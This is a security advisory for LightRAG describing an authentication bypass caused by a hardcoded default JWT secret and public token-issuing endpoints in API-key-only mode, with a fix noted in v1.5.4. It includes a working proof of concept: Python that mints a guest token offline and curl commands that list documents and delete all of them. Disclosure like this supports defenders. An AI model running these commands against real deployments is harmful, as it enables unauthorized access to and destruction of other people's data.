LightRAG is Vulnerable to Authentication Bypass: hardcoded DEFAULT_TOKEN_SECRET and public /auth-status defeat LIGHTRAG_API_KEY protection

## Summary When LightRAG is deployed with `LIGHTRAG_API_KEY` set but `AUTH_ACCOUNTS` unset (an officially documented "API-Key authentication" mode), the `X-API-Key` protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server , an attacker can mint a valid guest JWT offline using the hardcoded `DEFAULT_TOKEN_SECRET` committed in the repository and then call any endpoint guarded by `Depends(combined_auth)`, including destructive operations such as `DELETE /documents`, `POST /documents/upload`, `/documents/clear_cache`, and `POST /query`. This is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the `AUTH_ACCOUNTS`-configured case. The API-Key-only deployment profile is still fully exploitable on current `main` (commit `157c331`, v1.4.15). ## Root cause Three independent issues combine: 1. `lightrag/api/config.py:54` ships a hardcoded default JWT secret: ```python DEFAULT_TOKEN_SECRET="lightr...key!" ``` 2. `lightrag/api/auth.py:28-38` falls back to `DEFAULT_TOKEN_SECRET` with only a warning log when `AUTH_ACCOUNTS` is not configured. The fix for CVE-2026-30762 only raises when `AUTH_ACCOUNTS` is set, so the API-key-only path is silently vulnerable. 3. `lightrag/api/lightrag_server.py:1140-1186` exposes `GET /auth-status` and `POST /login` without any authentication dependency. In the API-key-only configuration, `auth_handler.accounts` is empty, and both endpoints unconditionally mint and return a signed guest JWT. 4. `lightrag/api/utils_api.py:214-216` inside `combined_dependency` short-circuits authorization on any valid guest token when `auth_configured` is false, **before** reaching the `X-API-Key` check on line 237: ```python if not auth_configured and token_info.get("role") == "guest": return ``` ## Proof of concept (offline-minted token, zero server contact) Tested against a clean install of commit `157c331` running locally with only `LIGHTRAG_API_KEY=super-...ass` configured. ```bash $ python3 - <<'PY' import jwt from datetime import datetime, timedelta, timezone print(jwt.encode( {"sub":"guest","role":"guest", "exp":datetime.now(timezone.utc)+timedelta(hours=24), "metadata":{"auth_mode":"disabled"}}, "lightrag-jwt-default-secret-key!", algorithm="HS256")) PY eyJhbGci... # Control , no creds: correctly rejected $ curl -s -w "HTTP %{http_code}\n" http://target:9876/documents {"detail":"API Key required"} HTTP 403 # Control , wrong API key: correctly rejected $ curl -s -w "HTTP %{http_code}\n" -H "X-API-Key: wrong-key" http://target:9876/documents {"detail":"Invalid API Key"} HTTP 403 # Bypass , offline-minted guest JWT: accepted $ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \ http://target:9876/documents {"statuses":{}} HTTP 200 # Destructive confirmation , DELETE /documents with the same token $ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \ http://target:9876/documents {"status":"success","message":"All documents cleared successfully. Deleted 0 files."} HTTP 200 ``` The guest JWT also does not need to be minted offline , `GET /auth-status` hands one out to anyone, even when the server is started with `LIGHTRAG_API_KEY` set. Either path (offline or `/auth-status`) yields the same bypass. ## Impact Any LightRAG instance that is reachable on the network and configured with: - `LIGHTRAG_API_KEY` set (i.e. the operator believes the server is protected), and - `AUTH_ACCOUNTS` unset (i.e. they opted out of the password-based login flow) is fully accessible to any anonymous caller. This configuration is documented as the "simple API-Key authentication" mode in `docs/LightRAG-API-Server.md`, so it is expected to be common in production. An attacker can: - Read and delete arbitrary documents (`/documents`, `DELETE /documents`) - Upload arbitrary documents and text for ingestion (`/documents/upl

CVSS 4.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N

Severity from

GitHub (reviewed advisory)

Weakness

CWE-287, CWE-798

Also known as

CVE-2026-61740, PYSEC-2026-3475

• github.com/HKUDS/LightRAG/security/advisories/GHSA-f4vv-55c2-5789
• nvd.nist.gov/vuln/detail/CVE-2026-61740
• github.com/HKUDS/LightRAG/pull/3319
• github.com/HKUDS/LightRAG/commit/f7819aa3a49a9d8d92eed8251d82d6ebcafa8cba
• github.com/HKUDS/LightRAG
• github.com/HKUDS/LightRAG/releases/tag/v1.5.4